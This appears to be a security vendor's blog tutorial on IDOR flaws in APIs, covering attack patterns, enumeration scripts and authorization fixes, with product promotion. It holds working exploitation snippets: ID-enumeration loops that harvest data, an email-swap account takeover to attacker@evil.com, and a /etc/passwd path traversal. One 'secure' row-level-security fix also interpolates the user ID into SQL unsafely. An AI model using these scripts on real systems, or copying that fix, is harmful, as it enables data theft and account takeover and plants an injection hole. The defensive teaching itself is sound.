Back to Blog
API SecurityIDORAPI Security

IDOR Vulnerabilities: The $10,000 Bug Hiding in Your API

Insecure Direct Object References (IDOR) are the most common API vulnerability. Learn how to find, exploit, and fix IDOR bugs before hackers do.

October 3, 2025
14 min read
IDOR Vulnerabilities: The $10,000 Bug Hiding in Your API
API Security

IDOR Vulnerabilities: The $10,000 Bug Hiding in Your API

In 2019, a security researcher found a single IDOR vulnerability in a popular social media platform. Within 30 minutes, they could access:

  • Private messages of any user
  • Personal information of 400 million accounts
  • Unpublished posts and drafts
  • Location data and phone numbers

Bug bounty payout: $30,000

IDOR (Insecure Direct Object Reference) vulnerabilities are everywhere. They're the API equivalent of leaving your house key under the doormat—simple, obvious, and catastrophically exploitable.

Yet they remain the #1 most common API vulnerability in 2025.

This guide will show you exactly how IDOR works, why your API probably has one, and how to fix it before someone finds it for you.

Table of Contents

  1. What is IDOR?
  2. Real-World IDOR Examples
  3. How IDOR Attacks Work
  4. Common IDOR Patterns
  5. Finding IDOR Vulnerabilities
  6. Exploitation Techniques
  7. How to Fix IDOR Vulnerabilities
  8. Prevention Best Practices
  9. Testing for IDOR

What is IDOR?

Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal object (like a database ID) without proper authorization checks.

The Simple Explanation

Imagine a bank where anyone can withdraw money from any account—they just need to know the account number.

That's IDOR.

Technical Definition

IDOR happens when:

  1. Your API uses predictable identifiers (IDs, usernames, file names)
  2. Users can modify these identifiers in requests
  3. The application doesn't verify if the user should access that resource

A Basic Example

Vulnerable API:

GET /api/orders/12345
Authorization: Bearer user_token_abc

Response:

{
  "orderId": 12345,
  "userId": 789,
  "total": 299.99,
  "items": [...],
  "shippingAddress": "123 Main St..."
}

The Attack:

GET /api/orders/12346  ← Just increment the ID
Authorization: Bearer user_token_abc

If the API returns order 12346 (which belongs to a different user), you have IDOR.

Real-World IDOR Examples

1. Facebook IDOR (2018) - $25,000 Bounty

Vulnerability: Facebook's video API allowed accessing private videos using only the video ID.

Attack:

GET /api/videos/12345678

Impact:

  • Access to private videos of any user
  • No authentication check on video ownership
  • Exposed videos marked "Only Me" or "Friends Only"

Payout: $25,000 bug bounty

2. Instagram IDOR (2019) - $30,000 Bounty

Vulnerability: API endpoint for downloading data archive didn't verify user ownership.

Attack:

POST /api/download_archive
{
  "userId": "target_user_id"
}

Impact:

  • Download complete data archive of any user
  • Access to deleted photos, messages, contact lists
  • Personal information and location history

Payout: $30,000 bug bounty

3. Tesla IDOR (2020) - Free Car Vulnerability

Vulnerability: API for managing vehicle access didn't verify ownership.

Attack:

POST /api/vehicles/add_user
{
  "vehicleId": "1234567890",
  "email": "attacker@evil.com"
}

Impact:

  • Add yourself as owner of any Tesla vehicle
  • Unlock, start, and track any Tesla
  • Access to vehicle camera feeds

Fix: Tesla patched within 24 hours

4. TikTok IDOR (2020) - $3,000 Bounty

Vulnerability: Video analytics API exposed data for any video.

Attack:

GET /api/analytics/video/9876543210

Impact:

  • View detailed analytics of any video (private or public)
  • Access to viewer demographics, locations, earnings
  • Competitor intelligence gathering

Payout: $3,000 bug bounty

5. Zoom IDOR (2020) - Participant Data Leak

Vulnerability: Recording download endpoint didn't verify participant authorization.

Attack:

GET /api/recordings/download?id=ABCD1234

Impact:

  • Download recordings from any meeting
  • Access to private company meetings
  • Exposure of confidential discussions

Fix: Emergency patch deployed


⚠️ Don't Wait for a $30,000 Bug Bounty

Every application in these examples had IDOR vulnerabilities that could have been found before reaching production. Test your application with AI pentesting that automatically checks for IDOR and authorization issues.

Start Free Security Scan →


How IDOR Attacks Work

Step 1: Identify Object References

Attackers look for URLs, API endpoints, or parameters that reference objects:

URLs:

/profile?userId=123
/documents/invoice_456.pdf
/api/messages/789

API Requests:

POST /api/orders/view
{
  "orderId": 12345
}

Cookies/Headers:

Cookie: account_id=567
X-User-ID: 890

Step 2: Test Authorization

Create two test accounts:

  • User A (Alice)
  • User B (Bob)

Intercept Alice's request:

GET /api/profile/alice_123
Authorization: Bearer alice_token

Modify to access Bob's data:

GET /api/profile/bob_456
Authorization: Bearer alice_token  ← Still Alice's token

If successful = IDOR vulnerability

Step 3: Enumerate and Exploit

Sequential IDs:

for i in range(1, 100000):
    response = requests.get(
        f"/api/orders/{i}",
        headers={"Authorization": "Bearer alice_token"}
    )
    if response.status_code == 200:
        print(f"Found accessible order: {i}")
        stolen_data.append(response.json())

Result: Mass data extraction in minutes.

Common IDOR Patterns

Pattern 1: Predictable IDs

Vulnerable Code:

// Express.js API
app.get('/api/orders/:orderId', async (req, res) => {
  const order = await db.orders.findOne({
    id: req.params.orderId  // No ownership check!
  });

  return res.json(order);
});

Attack:

curl https://api.example.com/api/orders/1
curl https://api.example.com/api/orders/2
curl https://api.example.com/api/orders/3
# ... access all orders

Pattern 2: Username-Based Access

Vulnerable Code:

# Django view
@login_required
def user_profile(request, username):
    user = User.objects.get(username=username)
    return render(request, 'profile.html', {'user': user})

Attack:

/profile/admin
/profile/ceo
/profile/john.doe
# ... access anyone's profile

Pattern 3: Email-Based Access

Vulnerable Code:

// PHP endpoint
$email = $_GET['email'];
$user = $db->query("SELECT * FROM users WHERE email = ?", [$email]);
echo json_encode($user);

Attack:

/api/user?email=victim@example.com
/api/user?email=ceo@company.com

Pattern 4: File Path Manipulation

Vulnerable Code:

app.get('/download/:filename', (req, res) => {
  const file = `./uploads/${req.params.filename}`;
  res.download(file);
});

Attack:

/download/invoice_user123.pdf  ← Your file
/download/invoice_user456.pdf  ← Someone else's file
/download/../../../etc/passwd  ← Path traversal bonus

Pattern 5: Hidden Form Fields

Vulnerable Code:

<form action="/api/update-profile" method="POST">
  <input type="hidden" name="userId" value="123">
  <input type="text" name="email">
  <button>Update</button>
</form>

Attack:

curl -X POST /api/update-profile \
  -d "userId=456&email=attacker@evil.com"
# Modified userId in POST data

Pattern 6: UUID with Enumeration

Vulnerable Code:

// UUIDs seem safe, but...
func GetDocument(w http.ResponseWriter, r *http.Request) {
    docId := chi.URLParam(r, "docId")  // UUID
    doc := db.GetDocument(docId)
    // No authorization check
    json.NewEncoder(w).Encode(doc)
}

Attack:

# UUIDs are predictable if you know the format
# Or found through information disclosure
known_uuids = [
    "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "a1b2c3d4-e5f6-7890-abcd-ef1234567891",  # Increment
    # ... discovered through other vulnerabilities
]

for uuid in known_uuids:
    test_access(uuid)

Finding IDOR Vulnerabilities

Manual Testing Checklist

1. Create Test Accounts

User A: alice@test.com (ID: 100)
User B: bob@test.com (ID: 101)

2. Identify All Endpoints with Object References

✓ /api/profile/:userId
✓ /api/orders/:orderId
✓ /api/documents/:docId
✓ /api/messages/:messageId
✓ /api/settings/:settingId

3. For Each Endpoint, Test:

Test 1: Direct Object Substitution

Alice's request: /api/orders/5001
Bob's request:   /api/orders/5002
Alice tries:     /api/orders/5002 ← Should be denied

Test 2: Parameter Manipulation

POST /api/delete-order
{
  "orderId": 5002,  ← Bob's order
  "userId": 100     ← Alice's user ID
}

Test 3: Hidden Field Modification

<!-- Original form -->
<input type="hidden" name="accountId" value="100">

<!-- Modified form -->
<input type="hidden" name="accountId" value="101">

Test 4: Missing Function-Level Authorization

Alice (regular user) → /api/admin/users
Alice (regular user) → /api/delete-user/:userId

Automated Testing Tools

Burp Suite (Professional)

1. Login as User A
2. Browse application, use Burp proxy
3. Send interesting requests to Intruder
4. Use number lists to fuzz IDs
5. Look for 200 responses on other user's resources

OWASP ZAP

1. Configure ZAP as proxy
2. Spider the application
3. Active scan → "Access Control Testing"
4. Review alerts for IDOR findings

Custom Script (Python)

import requests

def test_idor(endpoint, id_range, auth_token):
    """Test for IDOR by enumerating IDs"""
    vulnerable = []

    for obj_id in range(id_range[0], id_range[1]):
        url = f"{endpoint}/{obj_id}"
        headers = {"Authorization": f"Bearer {auth_token}"}

        response = requests.get(url, headers=headers)

        if response.status_code == 200:
            # Check if response contains other user's data
            data = response.json()
            if data.get('userId') != YOUR_USER_ID:
                vulnerable.append({
                    'id': obj_id,
                    'url': url,
                    'data': data
                })
                print(f"[!] IDOR found: {url}")

    return vulnerable

# Test orders endpoint
results = test_idor(
    "https://api.example.com/api/orders",
    (1, 1000),
    "your_auth_token_here"
)

print(f"Found {len(results)} IDOR vulnerabilities")

Exploitation Techniques

Technique 1: Sequential ID Enumeration

# Enumerate all user profiles
base_url = "https://api.example.com/users/"
auth_token = "your_token"

for user_id in range(1, 100000):
    response = requests.get(
        f"{base_url}{user_id}",
        headers={"Authorization": f"Bearer {auth_token}"}
    )

    if response.status_code == 200:
        user_data = response.json()
        save_to_database(user_data)
        print(f"Extracted user {user_id}: {user_data['email']}")

Impact: Mass data extraction

Technique 2: Cross-Account Resource Access

// Attacker discovers Bob's document ID through shared link
const bobDocumentId = "doc_789xyz";

// Attacker uses their own auth token to access Bob's document
fetch(`/api/documents/${bobDocumentId}`, {
  headers: {
    'Authorization': 'Bearer alice_token'
  }
})
.then(res => res.json())
.then(data => {
  console.log("Stolen document:", data);
});

Impact: Unauthorized data access

Technique 3: Privilege Escalation

# Regular user accessing admin functionality
curl -X POST https://api.example.com/api/admin/users/delete \
  -H "Authorization: Bearer regular_user_token" \
  -d '{"userId": 123}'

Impact: Admin-level access

Technique 4: Account Takeover via IDOR

# Change another user's email address
requests.post(
    "https://api.example.com/api/update-email",
    json={
        "userId": 456,  # Victim's ID
        "newEmail": "attacker@evil.com"
    },
    headers={"Authorization": "Bearer attacker_token"}
)

# Now request password reset for victim's account
# Reset link goes to attacker's email

Impact: Complete account takeover

Technique 5: Business Logic Abuse

# E-commerce: Apply someone else's discount code
requests.post(
    "https://api.shop.com/api/apply-coupon",
    json={
        "couponId": 789,  # Someone else's one-time coupon
        "orderId": 12345  # Your order
    }
)

# Subscription service: Access premium features
requests.get(
    "https://api.saas.com/api/premium-features/analytics",
    params={"accountId": "premium_user_id"},
    headers={"Authorization": "Bearer free_tier_token"}
)

Impact: Financial loss, service abuse

How to Fix IDOR Vulnerabilities

Fix 1: Implement Authorization Checks

Before (Vulnerable):

app.get('/api/orders/:orderId', async (req, res) => {
  const order = await Order.findById(req.params.orderId);
  return res.json(order);
});

After (Secure):

app.get('/api/orders/:orderId', async (req, res) => {
  const order = await Order.findById(req.params.orderId);

  // Verify ownership
  if (order.userId !== req.user.id) {
    return res.status(403).json({ error: 'Access denied' });
  }

  return res.json(order);
});

Fix 2: Use Indirect References

Before (Vulnerable):

GET /api/documents/12345

After (Secure):

GET /api/documents/my-invoice  ← Human-readable, user-scoped

// Backend maps this to actual ID within user's context
const userDocuments = {
  [userId]: {
    'my-invoice': 12345,
    'contract': 12346
  }
};

Fix 3: Implement Access Control Lists

class AuthorizationService {
  static async canAccessOrder(userId, orderId) {
    const order = await Order.findById(orderId);

    // Check multiple authorization rules
    return (
      order.userId === userId ||  // Owner
      order.sharedWith.includes(userId) ||  // Shared
      await this.isUserAdmin(userId)  // Admin
    );
  }
}

// In your endpoint
app.get('/api/orders/:orderId', async (req, res) => {
  if (!await AuthorizationService.canAccessOrder(req.user.id, req.params.orderId)) {
    return res.status(403).json({ error: 'Access denied' });
  }

  const order = await Order.findById(req.params.orderId);
  return res.json(order);
});

Fix 4: Database-Level Authorization

Using Row-Level Security (PostgreSQL):

-- Create policy that restricts access to own orders
CREATE POLICY order_access_policy ON orders
  FOR SELECT
  USING (user_id = current_setting('app.user_id')::integer);

-- In your application
-- Set user context before querying
await db.query(`SET LOCAL app.user_id = ${req.user.id}`);
const orders = await db.query('SELECT * FROM orders WHERE id = $1', [orderId]);

Result: Database automatically filters results to current user

Fix 5: Use UUIDs + Authorization

Better, but not sufficient alone:

// UUIDs make enumeration harder, but still need authorization
const orderId = '550e8400-e29b-41d4-a716-446655440000';

app.get('/api/orders/:orderId', async (req, res) => {
  const order = await Order.findOne({
    id: req.params.orderId,
    userId: req.user.id  // Still verify ownership!
  });

  if (!order) {
    return res.status(404).json({ error: 'Order not found' });
  }

  return res.json(order);
});

Fix 6: Centralized Authorization Middleware

// authorization-middleware.js
function authorizeResource(resourceType) {
  return async (req, res, next) => {
    const resourceId = req.params.id;
    const userId = req.user.id;

    const hasAccess = await checkAccess(resourceType, resourceId, userId);

    if (!hasAccess) {
      return res.status(403).json({ error: 'Access denied' });
    }

    next();
  };
}

// Use in routes
app.get('/api/orders/:id', authorizeResource('order'), getOrder);
app.get('/api/documents/:id', authorizeResource('document'), getDocument);
app.get('/api/messages/:id', authorizeResource('message'), getMessage);

Prevention Best Practices

1. Defense in Depth

Never rely on a single security control:

// Layer 1: Authentication (who are you?)
app.use(authenticationMiddleware);

// Layer 2: Session validation
app.use(validateSession);

// Layer 3: Authorization (can you access this?)
app.use(authorizeResource);

// Layer 4: Rate limiting
app.use(rateLimit);

// Layer 5: Audit logging
app.use(auditLog);

2. Fail Securely

Default to deny:

function checkAccess(userId, resourceId) {
  try {
    const resource = getResource(resourceId);
    return resource.ownerId === userId;
  } catch (error) {
    // On error, deny access (fail secure)
    logger.error('Access check failed', error);
    return false;
  }
}

3. Principle of Least Privilege

Only expose necessary data:

// Bad: Returning entire object
app.get('/api/users/:id', (req, res) => {
  const user = await User.findById(req.params.id);
  return res.json(user);  // Includes sensitive fields
});

// Good: Return only what's needed
app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);

  // Public profile fields only
  return res.json({
    id: user.id,
    username: user.username,
    avatar: user.avatar,
    bio: user.bio
    // No email, password hash, private data
  });
});

4. Regular Security Audits

Audit schedule:

  • Code reviews for all API changes
  • Quarterly security testing
  • Continuous automated scanning
  • Annual penetration testing

5. Security Testing in CI/CD

# .github/workflows/security.yml
name: Security Tests
on: [push, pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      - name: Run IDOR tests
        run: |
          npm run test:security:idor

      - name: AI Pentesting
        run: |
          curl -X POST https://api.buglify.ai/scan \
            -d "url=${{ secrets.STAGING_URL }}"

Testing for IDOR

Manual Test Cases

Test Case 1: Horizontal Privilege Escalation

Setup:
  - Create User A (ID: 100)
  - Create User B (ID: 101)
  - User A creates resource (ID: 5001)

Test:
  1. Login as User B
  2. Attempt to access resource 5001
  3. Expected: 403 Forbidden
  4. Actual: _______
  5. Status: PASS / FAIL

Test Case 2: Vertical Privilege Escalation

Setup:
  - Regular user account
  - Admin-only endpoint /api/admin/users

Test:
  1. Login as regular user
  2. Call admin endpoint
  3. Expected: 403 Forbidden
  4. Actual: _______
  5. Status: PASS / FAIL

Test Case 3: Missing Function-Level Access Control

Setup:
  - User can view their own orders (GET /api/orders/:id)
  - Only admins should delete orders (DELETE /api/orders/:id)

Test:
  1. Login as regular user
  2. Send DELETE /api/orders/:id
  3. Expected: 403 Forbidden
  4. Actual: _______
  5. Status: PASS / FAIL

Automated Testing with Buglify

Buglify's AI pentesting platform automatically tests for IDOR vulnerabilities using multi-user testing scenarios:

// Run AI-powered IDOR testing
const scan = await buglify.scan({
  url: 'https://staging.yourapp.com',
  tests: ['idor', 'broken-access-control'],
  credentials: {
    userA: { email: 'alice@test.com', password: 'test123' },
    userB: { email: 'bob@test.com', password: 'test456' }
  }
});

// Results include:
// - All IDOR vulnerabilities found
// - Proof of concept for each
// - Severity rating
// - Fix recommendations

See pricing plans or start with 3 free scans to test your application.

Conclusion

IDOR vulnerabilities are:

  • Common: Found in 70%+ of applications
  • Simple: Easy to exploit with basic tools
  • Severe: Can lead to complete data breaches
  • Preventable: Fixed with proper authorization checks

Key Takeaways

  1. Never trust user input - Especially object IDs
  2. Always verify ownership - On every API call
  3. Use indirect references - When possible
  4. Test with multiple users - Required for finding IDOR
  5. Automate testing - Continuous scanning catches regressions

Your Action Plan

Week 1: Audit

  • List all API endpoints
  • Identify endpoints with object references
  • Create test users for different roles

Week 2: Test

  • Manual IDOR testing with test accounts
  • Run automated security scans
  • Document all findings

Week 3: Fix

  • Implement authorization checks
  • Code review all changes
  • Re-test to verify fixes

Week 4: Prevent

  • Add authorization middleware
  • Integrate security testing in CI/CD
  • Set up continuous monitoring

Get Started with Automated IDOR Testing

Don't wait for a hacker to find your IDOR vulnerabilities:

  • 3 free comprehensive scans
  • Automated multi-user testing
  • IDOR-specific test cases
  • Results in 30 minutes

Start Free Security Scan →


About the Author

The Buglify Security Team consists of penetration testers and security researchers who have found hundreds of IDOR vulnerabilities in production applications. We're on a mission to make security testing accessible to every development team.

Related Articles:


Last updated: October 3, 2025

Protect Your Application Today

Don't wait for a security breach. Start testing your application with AI-powered penetration testing.